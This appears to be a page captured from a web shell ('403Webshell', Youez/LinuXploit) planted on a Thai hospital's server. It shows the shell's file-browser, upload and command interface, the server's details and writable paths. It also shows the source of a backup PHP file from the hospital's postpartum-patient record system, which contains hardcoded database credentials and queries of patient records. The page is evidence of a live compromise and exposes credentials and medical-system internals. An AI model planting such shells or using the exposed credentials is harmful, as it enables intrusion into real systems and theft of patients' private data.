403Webshell
Server IP : 172.67.189.169  /  Your IP : 216.73.216.59
Web Server : Apache/2
System : Linux cat167-197.static.lnwhostname.com 5.10.0-20-amd64 #1 SMP Debian 5.10.158-2 (2022-12-13) x86_64
User : paphayomho ( 1042)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/paphayomho/domains/paphayomhospital.go.th/private_html/HHC/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/paphayomho/domains/paphayomhospital.go.th/private_html/HHC//showyes.php.bak
<?php include('header.php'); ?>
<?php include('session.php'); ?>
<html>
<head>
<title>--ระบบบันทึกข้อมูลมารดาหลังคลอด โรงพยาบาลป่าพะยอม จังหวัดพัทลุง---</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
</head>
<body>
<?php include('navbar.php'); ?>
        <div class="container-fluid">
            <div class="row-fluid">
				<?php include('sidebar_dashboard.php'); ?>
                <div class="span9" id="">
                     <div class="row-fluid">
                        <!-- block -->
                        <div  id="block_bg" class="block">
						<?php
						 	$query = $conn->query("select * from members ORDER BY member_id DESC") or die(mysql_error());
							$count = $query->rowcount();
						?>
<?php
$objConnect = mysql_connect("localhost","pmhc_root","123456") or die("Error Connect to Database");
$objDB = mysql_select_db("pmhc_test");
	mysql_query("SET NAMES UTF8");
	mysql_query("SET character_set_results=utf8");
	mysql_query("SET character_set_client=utf8");
	mysql_query("SET character_set_connection=utf8");
	
$strSQL = "SELECT * FROM members WHERE hos31 != ''  ORDER BY member_id DESC";

$objQuery = mysql_query($strSQL) or die ("Error Query [".$strSQL."]");
?>
<table width="1086" border="1" align="center">
  <tr>
	<th width="52"> <div align="center">ลำดับ</div></th>
    <th width="135"> <div align="center">รหัสการเยี่ยม</div></th>
    <th width="96"> <div align="center">HN/AN</div></th>
    <th width="161"> <div align="center">ชื่อ-สกุล</div></th>
    <th width="110"> <div align="center">วันที่คลอด</div></th>
    <th width="107"> <div align="center">วันนัดตรวจ</div></th>
    <th width="138"> <div align="center">ผู้รับผิดชอบ</div></th>
    <th width="74">สถานะ</th>
    <th width="155"> <div align="center">จัดการข้อมูล</div></th>
  </tr>
<?php
$i = 1;
while($objResult = mysql_fetch_array($objQuery))
{
$id = $objResult['member_id'];
?>

  <tr>
	<td><div align="center"><?php echo $i;?></div></td>
    <td><div align="center"><?php echo $objResult["HC_3"];?></div></td>
    <td><div align="center"><?php echo $objResult["HN"];?></div></td>
    <td><?php echo $objResult["surname"];?></td>
    <td><div align="center"><?php echo $objResult["date_of_birth"];?></div></td>
    <td><div align="center"><?php echo $objResult["voters_id"];?></div></td>
    <td><?php echo $objResult["hos"];?></td>
	 <td div align="center"><?php echo  '<div style="color:blue">ตอบแล้ว</div>'?></td>
	 <td div align="center"><a data-placement="left" title="Click to Edit" id="edit<?php echo $id; ?>" href="edit_member.php<?php echo '?id='.$id; ?>" class="btn btn-success"><i class="icon-pencil icon-large"></i> ตอบกลับ</a>
			<script type="text/javascript">
			$(document).ready(function(){
				$('#edit<?php echo $id; ?>').tooltip('show');
				$('#edit<?php echo $id; ?>').tooltip('hide');
			});
			</script>
		<a data-placement="top" title="Click to View all Details" id="view<?php echo $id; ?>" href="view_member.php<?php echo '?id='.$id; ?>" class="btn btn-warning"><i class="icon-search icon-large"></i> ดู</a>
			<script type="text/javascript">
			$(document).ready(function(){
				$('#view<?php echo $id; ?>').tooltip('show');
				$('#view<?php echo $id; ?>').tooltip('hide');
			});
			</script>		</td>
  </tr>
<?php
		$i++;
}
?>
</table>
<?php
mysql_close($objConnect);
?>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit